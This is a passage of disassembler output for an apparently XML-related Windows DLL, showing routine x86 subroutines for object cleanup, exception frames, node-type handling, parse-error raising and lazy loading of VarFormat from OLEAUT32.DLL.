; ---------------------------------------------------------------------------


loc_69B6F669:				; DATA XREF: .text:69B144A0o
					; .text:69B18608o
		sub	dword ptr [esp+4], 0Ch
		jmp	sub_69B183AF

; =============== S U B	R O U T	I N E =======================================



sub_69B6F673	proc near		; DATA XREF: .text:69B18628o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B6F68E
		test	[esp+4+arg_0], 1
		jz	short loc_69B6F688
		push	esi
		call	sub_69B1829F


loc_69B6F688:				; CODE XREF: sub_69B6F673+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B6F673	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6F68E	proc near		; CODE XREF: sub_69B6F673+3p
		push	esi
		mov	esi, ecx
		lea	eax, [esi+0B8h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+0ACh]
		mov	ecx, [eax+4]
		mov	eax, [eax]
		mov	[ecx+1Ch], eax
		lea	eax, [esi+0A4h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+0A0h]
		push	eax
		call	sub_69B17230
		lea	ecx, [esi+8Ch]
		call	sub_69B709DA
		lea	ecx, [esi+70h]
		call	sub_69B6EC84
		lea	eax, [esi+68h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+64h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+60h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+5Ch]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+48h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+44h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+3Ch]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+38h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+34h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+2Ch]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+24h]
		push	eax
		call	sub_69B17230
		mov	ecx, esi
		pop	esi
		jmp	sub_69B186FA
sub_69B6F68E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6F741	proc near		; CODE XREF: sub_69B473A7+33p
					; sub_69B6F759+10p ...

; FUNCTION CHUNK AT 69B1854D SIZE 00000091 BYTES

		push	0BCh
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B6F756
		mov	ecx, eax
		jmp	loc_69B1854D
; ---------------------------------------------------------------------------


loc_69B6F756:				; CODE XREF: sub_69B6F741+Cj
		xor	eax, eax
		retn
sub_69B6F741	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6F759	proc near		; CODE XREF: sub_69B8264F+41p
		push	0Ch
		push	offset dword_69B6F7C0
		call	sub_69B19C5C
		and	dword ptr [ebp-4], 0
		call	sub_69B6F741
		lea	ecx, [eax+0Ch]
		neg	eax
		sbb	eax, eax
		and	eax, ecx
		mov	ecx, [ebp+8]
		mov	[ecx], eax
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]
		xor	eax, eax
		mov	[ebp-1Ch], eax
		jmp	short loc_69B6F7AD
; ---------------------------------------------------------------------------


loc_69B6F789:				; DATA XREF: .text:69B6F7C4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B6F792:				; DATA XREF: .text:69B6F7C8o
		mov	esp, [ebp-18h]
		mov	eax, [ebp+8]
		and	dword ptr [eax], 0
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804


loc_69B6F7AD:				; CODE XREF: sub_69B6F759+2Ej
		or	dword ptr [ebp-4], 0FFFFFFFFh
		call	sub_69B1853C
		retn	4
sub_69B6F759	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B6F7C0	dd 0FFFFFFFFh			dd offset loc_69B6F789
		dd offset loc_69B6F792
; ---------------------------------------------------------------------------


loc_69B6F7CC:				; DATA XREF: .text:69B18610o
		push	0Ch
		push	offset dword_69B6F818
		call	sub_69B19C5C
		and	dword ptr [ebp-4], 0
		mov	ecx, [ebp+8]
		add	ecx, 0FFFFFFF4h
		call	sub_69B6EF3C
		xor	eax, eax
		mov	[ebp-1Ch], eax
		jmp	short loc_69B6F80C
; ---------------------------------------------------------------------------


loc_69B6F7EE:				; DATA XREF: .text:69B6F81Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B6F7F7:				; DATA XREF: .text:69B6F820o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804


loc_69B6F80C:				; CODE XREF: .text:69B6F7ECj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		call	sub_69B1853C
		retn	4
; ---------------------------------------------------------------------------
dword_69B6F818	dd 0FFFFFFFFh			dd offset loc_69B6F7EE
		dd offset loc_69B6F7F7
; ---------------------------------------------------------------------------


loc_69B6F824:				; DATA XREF: .text:69B18614o
		push	0Ch
		push	offset dword_69B6F870
		call	sub_69B19C5C
		and	dword ptr [ebp-4], 0
		mov	ecx, [ebp+8]
		add	ecx, 0FFFFFFF4h
		call	sub_69B6ED05
		xor	eax, eax
		mov	[ebp-1Ch], eax
		jmp	short loc_69B6F864
; ---------------------------------------------------------------------------


loc_69B6F846:				; DATA XREF: .text:69B6F874o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B6F84F:				; DATA XREF: .text:69B6F878o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804


loc_69B6F864:				; CODE XREF: .text:69B6F844j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		call	sub_69B1853C
		retn	4
; ---------------------------------------------------------------------------
dword_69B6F870	dd 0FFFFFFFFh			dd offset loc_69B6F846
		dd offset loc_69B6F84F

; =============== S U B	R O U T	I N E =======================================



sub_69B6F87C	proc near		; DATA XREF: .text:69B18650o
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B6ED05
		xor	edi, edi
		push	edi
		lea	eax, [esi+5Ch]
		push	eax
		call	sub_69B17320
		push	edi
		lea	eax, [esi+60h]
		push	eax
		call	sub_69B17320
		push	edi
		lea	eax, [esi+64h]
		push	eax
		call	sub_69B17320
		push	edi
		lea	eax, [esi+68h]
		push	eax
		call	sub_69B17320
		push	edi
		lea	eax, [esi+0A0h]
		push	eax
		call	sub_69B17320
		push	edi
		lea	eax, [esi+0A4h]
		push	eax
		call	sub_69B17320
		push	edi
		lea	eax, [esi+0B8h]
		push	eax
		call	sub_69B17320
		lea	ecx, [esi+8Ch]
		call	sub_69B70A09
		pop	edi
		mov	ecx, esi
		pop	esi
		jmp	nullsub_5
sub_69B6F87C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6F8EA	proc near		; CODE XREF: sub_69B6FABE+A2p
					; sub_69B72316+1Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		movsx	ecx, word ptr [esi+32h]
		push	edi
		lea	edi, [esi+2Ch]
		mov	eax, [edi]
		mov	eax, [eax+8]
		cmp	ecx, eax
		jl	short loc_69B6F92B
		lea	ebx, [eax+eax]
		cmp	ebx, 400h
		jle	short loc_69B6F919
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	0C00CE300h
		call	sub_69B6E277


loc_69B6F919:				; CODE XREF: sub_69B6F8EA+1Ej
		mov	ecx, [edi]
		lea	eax, [ebx+ebx]
		push	eax
		call	sub_69B6EC46
		push	eax
		push	edi
		call	sub_69B17320


loc_69B6F92B:				; CODE XREF: sub_69B6F8EA+13j
		movsx	eax, word ptr [esi+32h]
		mov	ecx, [edi]
		push	eax
		call	sub_69B6B88B
		mov	edi, eax
		movsx	eax, word ptr [esi+32h]
		lea	ebx, [esi+44h]
		push	dword ptr [ebx]
		mov	ecx, edi
		push	eax
		push	[esp+14h+arg_0]
		lea	eax, [esi+10h]
		push	eax
		call	sub_69B7150E
		inc	word ptr [esi+32h]
		push	0
		push	ebx
		mov	[esi+28h], edi
		call	sub_69B17320
		push	[esp+0Ch+arg_4]
		mov	ecx, esi
		call	sub_69B6F131
		mov	eax, [esp+0Ch+arg_8]
		mov	[edi+18h], eax
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
sub_69B6F8EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B6F979	proc near		; CODE XREF: sub_69B7577A+3Bp
					; sub_69B75DD2+47p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, ecx
		mov	eax, [esi+28h]
		xor	ebx, ebx
		cmp	[ebp+arg_0], 0FFFFFFFFh
		push	edi
		mov	edi, [eax+18h]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_1], bl
		jnz	loc_69B6FA24
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+44h]
		cmp	dword ptr [esi+0A8h], 2
		mov	[ebp+arg_0], eax
		jz	short loc_69B6F9FD
		sub	eax, ebx
		mov	[ebp+var_1], 1
		jz	short loc_69B6F9F7
		sub	eax, 3
		jz	short loc_69B6F9F7
		dec	eax
		jz	loc_69B6FAA7
		dec	eax
		jz	short loc_69B6F9E9
		dec	eax
		jz	short loc_69B6F9E0
		sub	eax, 0Bh
		jz	short loc_69B6F9F7


loc_69B6F9CE:				; CODE XREF: sub_69B6F979+6Ej
					; sub_69B6F979+77j ...
		mov	eax, [edi]
		push	1
		push	ebx
		mov	ecx, edi
		call	dword ptr [eax+4Ch]
		mov	[ebp+var_8], eax


loc_69B6F9DB:				; CODE XREF: sub_69B6F979+82j
					; sub_69B6F979+86j ...
		mov	eax, [edi+8]
		jmp	short loc_69B6FA30
; ---------------------------------------------------------------------------


loc_69B6F9E0:				; CODE XREF: sub_69B6F979+4Ej
		mov	[ebp+arg_0], 1
		jmp	short loc_69B6F9CE
; ---------------------------------------------------------------------------


loc_69B6F9E9:				; CODE XREF: sub_69B6F979+4Bj
		mov	al, [edi+0Bh]
		and	al, 1Fh
		cmp	al, 12h
		jnz	short loc_69B6F9CE
		jmp	loc_69B6FAA7
; ---------------------------------------------------------------------------


loc_69B6F9F7:				; CODE XREF: sub_69B6F979+3Cj
					; sub_69B6F979+41j ...
		mov	[ebp+var_1], 0
		jmp	short loc_69B6F9DB
; ---------------------------------------------------------------------------


loc_69B6F9FD:				; CODE XREF: sub_69B6F979+34j
		cmp	eax, ebx
		jle	short loc_69B6F9DB
		cmp	eax, 2
		jle	short loc_69B6F9CE
		cmp	eax, 5
		jz	short loc_69B6FA12
		cmp	eax, 6
		jz	short loc_69B6F9CE
		jmp	short loc_69B6F9DB
; ---------------------------------------------------------------------------


loc_69B6FA12:				; CODE XREF: sub_69B6F979+90j
		mov	cl, [edi+0Bh]
		push	12h
		and	cl, 1Fh
		pop	eax
		cmp	cl, al
		jnz	short loc_69B6F9CE
		mov	[ebp+arg_0], eax
		jmp	short loc_69B6F9DB
; ---------------------------------------------------------------------------


loc_69B6FA24:				; CODE XREF: sub_69B6F979+1Dj
		mov	eax, [esi+20h]
		mov	eax, [eax+8]
		mov	eax, [eax+0Ch]
		mov	eax, [eax+8]


loc_69B6FA30:				; CODE XREF: sub_69B6F979+65j
		mov	ebx, [ebp+arg_4]
		shr	eax, 15h
		and	al, 1
		cmp	[ebp+arg_0], 1
		mov	byte ptr [ebp+var_C], al
		jz	short loc_69B6FA66
		test	ebx, ebx
		jnz	short loc_69B6FA55
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+3Ch]
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_69B6FA55
		mov	ebx, [esi+6Ch]


loc_69B6FA55:				; CODE XREF: sub_69B6F979+CAj
					; sub_69B6F979+D7j
		push	[ebp+var_C]
		mov	ecx, esi
		push	[ebp+arg_8]
		push	ebx
		push	[ebp+arg_0]
		call	sub_69B6E648


loc_69B6FA66:				; CODE XREF: sub_69B6F979+C6j
		mov	eax, [esi+20h]
		mov	ecx, [ebp+arg_0]
		inc	ecx
		mov	[eax+10h], ebx
		mov	eax, [esi+20h]
		shl	ecx, 4
		xor	ecx, [eax+18h]
		and	ecx, 1F0h
		xor	[eax+18h], ecx
		cmp	[ebp+var_8], 0
		jz	short loc_69B6FA97
		push	0
		push	[ebp+arg_C]
		mov	ecx, esi
		push	[ebp+var_8]
		call	sub_69B6E79D


loc_69B6FA97:				; CODE XREF: sub_69B6F979+10Dj
		cmp	[ebp+var_1], 0
		jz	short loc_69B6FAAB
		push	[ebp+arg_C]
		mov	ecx, esi
		call	sub_69B6F28B


loc_69B6FAA7:				; CODE XREF: sub_69B6F979+44j
					; sub_69B6F979+79j
		xor	al, al
		jmp	short loc_69B6FAB7
; ---------------------------------------------------------------------------


loc_69B6FAAB:				; CODE XREF: sub_69B6F979+122j
		mov	eax, [esi+20h]
		mov	dword ptr [eax+0Ch], 1
		mov	al, 1


loc_69B6FAB7:				; CODE XREF: sub_69B6F979+130j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_69B6F979	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B6FABE	proc near		; CODE XREF: sub_69B46CA6+68p
					; sub_69B6FBE1+61p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_4]
		mov	esi, ecx
		or	dword ptr [esi+58h], 10h
		lea	eax, [esi+34h]
		push	eax
		call	sub_69B17320
		lea	ebx, [esi+24h]
		xor	edi, edi
		cmp	[ebx], edi
		jnz	short loc_69B6FB08
		push	390h
		call	sub_69B17EF3
		mov	edi, eax
		mov	ecx, edi
		mov	dword ptr [edi+8], 20h
		call	sub_69B19118
		push	edi
		push	ebx
		mov	dword ptr [edi], offset	off_69B14078
		call	sub_69B17320
		xor	edi, edi


loc_69B6FB08:				; CODE XREF: sub_69B6FABE+1Fj
		lea	ebx, [esi+2Ch]
		cmp	[ebx], edi
		jnz	short loc_69B6FB38
		push	390h
		call	sub_69B17EF3
		mov	edi, eax
		mov	ecx, edi
		mov	dword ptr [edi+8], 20h
		call	sub_69B19118
		push	edi
		push	ebx
		mov	dword ptr [edi], offset	off_69B140B8
		call	sub_69B17320
		xor	edi, edi


loc_69B6FB38:				; CODE XREF: sub_69B6FABE+4Fj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, edi
		mov	[esi+32h], di
		mov	[esi+30h], di
		jz	short loc_69B6FB80
		mov	eax, [ebx]
		mov	ecx, ebx
		call	dword ptr [eax+0B4h]
		push	ebx
		push	edi
		push	edi
		push	edi
		mov	[esi+18h], eax
		call	sub_69B72910
		push	eax
		mov	ecx, esi
		call	sub_69B6F8EA
		push	dword ptr [esi+0A4h]
		mov	ecx, esi
		push	edi
		push	edi
		call	sub_69B6F0B5
		push	esi
		lea	ecx, [esi+8Ch]
		call	sub_69B70D5C


loc_69B6FB80:				; CODE XREF: sub_69B6FABE+87j
		mov	eax, [ebp+arg_C]
		cmp	eax, edi
		mov	[esi+40h], eax
		jz	short loc_69B6FB9F
		cmp	dword ptr [esi+0A8h], 2
		jz	short loc_69B6FB9F
		push	eax
		lea	ecx, [esi+8Ch]
		call	sub_69B70CB0


loc_69B6FB9F:				; CODE XREF: sub_69B6FABE+CAj
					; sub_69B6FABE+D3j
		cmp	[ebp+arg_8], edi
		jz	short loc_69B6FBDA
		cmp	dword ptr [esi+0A8h], 2
		jz	short loc_69B6FBDA
		push	edi
		push	[ebp+arg_8]
		mov	ecx, esi
		call	sub_69B6E94F
		push	eax
		lea	edi, [esi+44h]
		push	edi
		call	sub_69B17320
		cmp	dword ptr [edi], 0
		jnz	short loc_69B6FBDA
		push	0
		push	[ebp+arg_8]
		mov	ecx, esi
		call	sub_69B6F3D1
		push	eax
		push	edi
		call	sub_69B17320


loc_69B6FBDA:				; CODE XREF: sub_69B6FABE+E4j
					; sub_69B6FABE+EDj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_69B6FABE	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6FBE1	proc near		; CODE XREF: sub_69B42B4C+8Dp
					; sub_69B4311C+106p
		push	24h
		push	offset dword_69B6FCB8
		call	sub_69B19C5C
		xor	ebx, ebx
		push	ebx
		lea	ecx, [ebp-24h]
		call	sub_69B11D3B
		call	sub_69B6F741
		mov	edi, eax
		mov	[ebp-28h], edi
		lea	ecx, [ebp-2Ch]
		call	sub_69B47D22
		mov	[ebp-4], ebx
		push	dword ptr [ebp+8]
		call	sub_69B48A77
		mov	[ebp-30h], eax
		push	dword ptr [ebp+0Ch]
		call	sub_69B48A77
		mov	esi, eax
		mov	[ebp-34h], esi
		push	dword ptr [ebp-30h]
		mov	ecx, edi
		call	sub_69B6EDDE
		push	ebx
		push	ebx
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		mov	ecx, edi
		call	sub_69B6E61A
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_69B6FABE
		cmp	esi, ebx
		jz	short loc_69B6FC64
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+0B4h]
		mov	ecx, eax
		call	sub_69B6F644
		push	eax
		mov	ecx, edi
		call	sub_69B6ECA6


loc_69B6FC64:				; CODE XREF: sub_69B6FBE1+68j
		mov	ecx, edi
		call	sub_69B6EF3C
		jmp	short loc_69B6FC97
; ---------------------------------------------------------------------------


loc_69B6FC6D:				; DATA XREF: .text:69B6FCBCo
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B6FC76:				; DATA XREF: .text:69B6FCC0o
		mov	esp, [ebp-18h]
		lea	ecx, [ebp-2Ch]
		call	sub_69B47D46
		call	sub_69B2E808
		mov	esi, eax
		mov	ecx, [ebp-28h]
		call	sub_69B6ED05
		mov	ecx, esi
		call	sub_69B2E875


loc_69B6FC97:				; CODE XREF: sub_69B6FBE1+8Aj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-2Ch]
		call	sub_69B47D46
		lea	ecx, [ebp-24h]
		call	sub_69B1976C
		call	sub_69B1853C
		retn	10h
sub_69B6FBE1	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 8
dword_69B6FCB8	dd 0FFFFFFFFh			dd offset loc_69B6FC6D
		dd offset loc_69B6FC76
; ---------------------------------------------------------------------------


loc_69B6FCC4:				; DATA XREF: .text:69B1860Co
		push	0Ch
		push	offset dword_69B6FD40
		call	sub_69B19C5C
		xor	edi, edi
		mov	[ebp-4], edi
		mov	esi, [ebp+8]
		add	esi, 0FFFFFFF4h
		push	dword ptr [ebp+0Ch]
		call	sub_69B48A77
		push	eax
		mov	ecx, esi
		call	sub_69B6EDDE
		push	edi
		push	edi
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		mov	ecx, esi
		call	sub_69B6E61A
		push	eax
		push	dword ptr [ebp+10h]
		call	sub_69B48A77
		push	eax
		mov	ecx, esi
		call	sub_69B6FABE
		xor	eax, eax
		mov	[ebp-1Ch], eax
		jmp	short loc_69B6FD30
; ---------------------------------------------------------------------------


loc_69B6FD12:				; DATA XREF: .text:69B6FD44o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B6FD1B:				; DATA XREF: .text:69B6FD48o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804


loc_69B6FD30:				; CODE XREF: .text:69B6FD10j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		call	sub_69B1853C
		retn	14h
; ---------------------------------------------------------------------------
		align 10h
dword_69B6FD40	dd 0FFFFFFFFh			dd offset loc_69B6FD12
		dd offset loc_69B6FD1B

; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B6FD4C(LPCSTR lpProcName)

sub_69B6FD4C	proc near		; CODE XREF: sub_69B6FDE2+11p

lpProcName	= dword	ptr  4

		cmp	dword_69B9B660,	0
		push	ebx
		mov	ebx, ds:LeaveCriticalSection
		push	esi
		push	edi
		mov	edi, ds:EnterCriticalSection
		mov	esi, offset stru_69B9B644
		jnz	short loc_69B6FDA2
		cmp	dword_69B9B664,	0
		jnz	short loc_69B6FD83
		push	esi		; lpCriticalSection
		call	ds:InitializeCriticalSection	; InitializeCriticalSection
		mov	dword_69B9B664,	1


loc_69B6FD83:				; CODE XREF: sub_69B6FD4C+24j
		push	esi		; lpCriticalSection
		call	edi ; EnterCriticalSection
		push	offset aOleaut32_dll_0 ; "OLEAUT32.DLL"
		call	ds:SHLWAPI_83
		push	esi		; lpCriticalSection
		mov	dword_69B9B660,	eax
		call	ebx ; LeaveCriticalSection
		cmp	dword_69B9B660,	0
		jz	short loc_69B6FDBC


loc_69B6FDA2:				; CODE XREF: sub_69B6FD4C+1Bj
		push	esi		; lpCriticalSection
		call	edi ; EnterCriticalSection
		push	[esp+0Ch+lpProcName] ; lpProcName
		push	dword_69B9B660	; hModule
		call	ds:GetProcAddress	; GetProcAddress
		push	esi		; lpCriticalSection
		mov	edi, eax
		call	ebx ; LeaveCriticalSection
		jmp	short loc_69B6FDBE
; ---------------------------------------------------------------------------


loc_69B6FDBC:				; CODE XREF: sub_69B6FD4C+54j
		xor	edi, edi


loc_69B6FDBE:				; CODE XREF: sub_69B6FD4C+6Ej
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	4
sub_69B6FD4C	endp

; ---------------------------------------------------------------------------
		align 4
aOleaut32_dll_0:			; DATA XREF: sub_69B6FD4C+3Ao
		unicode	0, <OLEAUT32.DLL>,0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B6FDE2	proc near		; CODE XREF: sub_69B6699A+1BEp
					; sub_69B74549+2Fp
		push	ebp
		mov	ebp, esp
		mov	eax, dword_69B9B65C
		test	eax, eax
		jnz	short loc_69B6FE0A
		push	offset aVarformat ; "VarFormat"
		call	sub_69B6FD4C
		test	eax, eax
		mov	dword_69B9B65C,	eax
		jnz	short loc_69B6FE0A
		mov	eax, 80004005h
		pop	ebp
		retn	18h
; ---------------------------------------------------------------------------


loc_69B6FE0A:				; CODE XREF: sub_69B6FDE2+Aj
					; sub_69B6FDE2+1Dj
		pop	ebp
		jmp	eax
sub_69B6FDE2	endp

; ---------------------------------------------------------------------------
		align 10h
; char aVarformat[]
aVarformat	db 'VarFormat',0        ; DATA XREF: sub_69B6FDE2+Co

; =============== S U B	R O U T	I N E =======================================



sub_69B6FE1A	proc near		; CODE XREF: sub_69B6FED3+26p
					; sub_69B70274+39p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+3Ch]
		test	eax, eax
		mov	ecx, esi
		jz	short loc_69B6FE44
		push	eax
		mov	eax, [esi]
		call	dword ptr [eax+44h]
		push	eax
		call	sub_69B47CF1
		push	eax
		push	[esp+0Ch+arg_0]
		push	0C00CE30Bh
		jmp	short loc_69B6FE5B
; ---------------------------------------------------------------------------


loc_69B6FE44:				; CODE XREF: sub_69B6FE1A+10j
		mov	eax, [esi]
		push	0
		call	dword ptr [eax+44h]
		push	eax
		call	sub_69B47CF1
		push	eax
		push	[esp+0Ch+arg_0]
		push	0C00CE325h


loc_69B6FE5B:				; CODE XREF: sub_69B6FE1A+28j
		call	sub_69B6E277
		pop	esi
		retn	8
sub_69B6FE1A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6FE64	proc near		; CODE XREF: sub_69B70EC9+B8p
					; sub_69B73A84+84p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	100h
		call	sub_69B88D8C
		mov	esi, [esp+8+arg_0]
		mov	edi, eax
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_69B6FE8E
		push	eax		; lpString
		mov	ecx, edi
		call	sub_69B88E04
		push	0Ah
		mov	ecx, edi
		call	sub_69B88E7C


loc_69B6FE8E:				; CODE XREF: sub_69B6FE64+17j
		mov	esi, [esi+8]
		test	esi, esi
		jz	short loc_69B6FE9D
		push	esi		; lpString
		mov	ecx, edi
		call	sub_69B88E04


loc_69B6FE9D:				; CODE XREF: sub_69B6FE64+2Fj
		mov	eax, edi
		pop	edi
		pop	esi
		retn	4
sub_69B6FE64	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6FEA4	proc near		; CODE XREF: sub_69B7267F+18p
					; sub_69B7267F+13Bp
		push	esi
		push	edi
		mov	esi, ecx
		jmp	short loc_69B6FEC4
; ---------------------------------------------------------------------------


loc_69B6FEAA:				; CODE XREF: sub_69B6FEA4+24j
		mov	ecx, [esi+4]
		mov	eax, [ecx]
		mov	edi, [esi+8]
		push	esi
		call	dword ptr [eax+6Ch]
		mov	[esi+8], eax
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+44h]
		test	eax, eax
		jz	short loc_69B6FECF


loc_69B6FEC4:				; CODE XREF: sub_69B6FEA4+4j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_69B6FEAA
		xor	eax, eax


loc_69B6FECC:				; CODE XREF: sub_69B6FEA4+2Dj
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_69B6FECF:				; CODE XREF: sub_69B6FEA4+1Ej
		mov	eax, edi
		jmp	short loc_69B6FECC
sub_69B6FEA4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B6FED3	proc near		; CODE XREF: sub_69B701AA+80p
					; sub_69B727D0+41p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+74h]
		test	al, al
		jz	short loc_69B6FEFE
		mov	eax, [esi]
		lea	ecx, [ebp+arg_0]
		push	ecx
		mov	ecx, esi
		call	dword ptr [eax+68h]
		push	eax
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+3Ch]
		push	eax
		call	sub_69B6FE1A


loc_69B6FEFE:				; CODE XREF: sub_69B6FED3+10j
		pop	esi
		pop	ebp
		retn	4
sub_69B6FED3	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6FF03	proc near		; CODE XREF: sub_69B6BCF3+7Dp
					; sub_69B73101+C2p

arg_0		= dword	ptr  4

		push	off_69B9A438	; lpString
		mov	ecx, [esp+4+arg_0]
		call	sub_69B2EF04
		test	al, al
		jz	short loc_69B6FF1A
		mov	al, 1
		jmp	short locret_69B6FF5C
; ---------------------------------------------------------------------------


loc_69B6FF1A:				; CODE XREF: sub_69B6FF03+11j
		push	off_69B9A434	; lpString
		mov	ecx, [esp+4+arg_0]
		call	sub_69B2EF04
		test	al, al
		jnz	short loc_69B6FF5A
		mov	eax, dword_69B9B4B0
		push	esi
		push	off_69B9A438	; lpString
		mov	esi, [eax+14h]
		call	sub_69B1A587
		push	eax
		push	off_69B9A434	; lpString
		call	sub_69B1A587
		push	eax
		push	esi
		push	0C00CE30Dh
		call	sub_69B6E277
		pop	esi


loc_69B6FF5A:				; CODE XREF: sub_69B6FF03+28j
		xor	al, al

locret_69B6FF5C:			; CODE XREF: sub_69B6FF03+15j
		retn	4
sub_69B6FF03	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6FF5F	proc near		; CODE XREF: sub_69B701AA+6Fp
					; sub_69B759A1+1Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_4], 0
		jz	short loc_69B6FFBC
		push	off_69B9A42C	; lpString
		mov	ecx, [esp+4+arg_4]
		call	sub_69B2EF04
		test	al, al
		jz	short loc_69B6FF7D
		mov	al, 1
		jmp	short locret_69B6FFBE
; ---------------------------------------------------------------------------


loc_69B6FF7D:				; CODE XREF: sub_69B6FF5F+18j
		push	off_69B9A430	; lpString
		mov	ecx, [esp+4+arg_4]
		call	sub_69B2EF04
		test	al, al
		jnz	short loc_69B6FFBC
		mov	eax, [esp+arg_0]
		push	esi
		push	off_69B9A430	; lpString
		mov	esi, [eax+14h]
		call	sub_69B1A587
		push	eax
		push	off_69B9A42C	; lpString
		call	sub_69B1A587
		push	eax
		push	esi
		push	0C00CE30Dh
		call	sub_69B6E277
		pop	esi


loc_69B6FFBC:				; CODE XREF: sub_69B6FF5F+5j
					; sub_69B6FF5F+2Fj
		xor	al, al

locret_69B6FFBE:			; CODE XREF: sub_69B6FF5F+1Cj
		retn	8
sub_69B6FF5F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6FFC1	proc near		; CODE XREF: sub_69B6BCF3+BFp
					; sub_69B73101+FBp

arg_0		= dword	ptr  4

		push	off_69B9A43C	; lpString
		mov	ecx, [esp+4+arg_0]
		call	sub_69B2EF04
		test	al, al
		jz	short loc_69B6FFD8
		push	5
		jmp	short loc_69B6FFED
; ---------------------------------------------------------------------------


loc_69B6FFD8:				; CODE XREF: sub_69B6FFC1+11j
		push	off_69B9A440	; lpString
		mov	ecx, [esp+4+arg_0]
		call	sub_69B2EF04
		test	al, al
		jz	short loc_69B6FFF0
		push	3


loc_69B6FFED:				; CODE XREF: sub_69B6FFC1+15j
		pop	eax
		jmp	short locret_69B7001F
